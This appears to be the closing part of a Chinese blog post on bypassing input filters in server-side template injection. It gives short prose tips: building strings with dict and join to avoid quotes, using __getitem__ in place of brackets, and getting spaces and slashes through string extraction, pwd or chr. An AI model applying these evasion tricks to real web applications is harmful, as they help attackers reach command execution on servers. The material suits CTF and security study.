dict定义字典键名和键值无需引号,dict+join即可绕过单双引号;+的作用是为了拼接,join也具有拼接作用;request把获取get、post等参数禁止了,不使用即可;[]可以__getitem__为协议绕过,执行命令的空格可以通过提取字符串获取;/可通过执行pwd命令获取,也可以通过chr函数来获取

其他过滤根据目录ssti绕过<什么>拼接payload即可

参考地址

SSTI模板注入_哔哩哔哩_bilibili

- THE END -
Tag:

2月22日20:57

最后修改:2025年2月22日
1

非特殊说明,本博所有文章均为博主原创。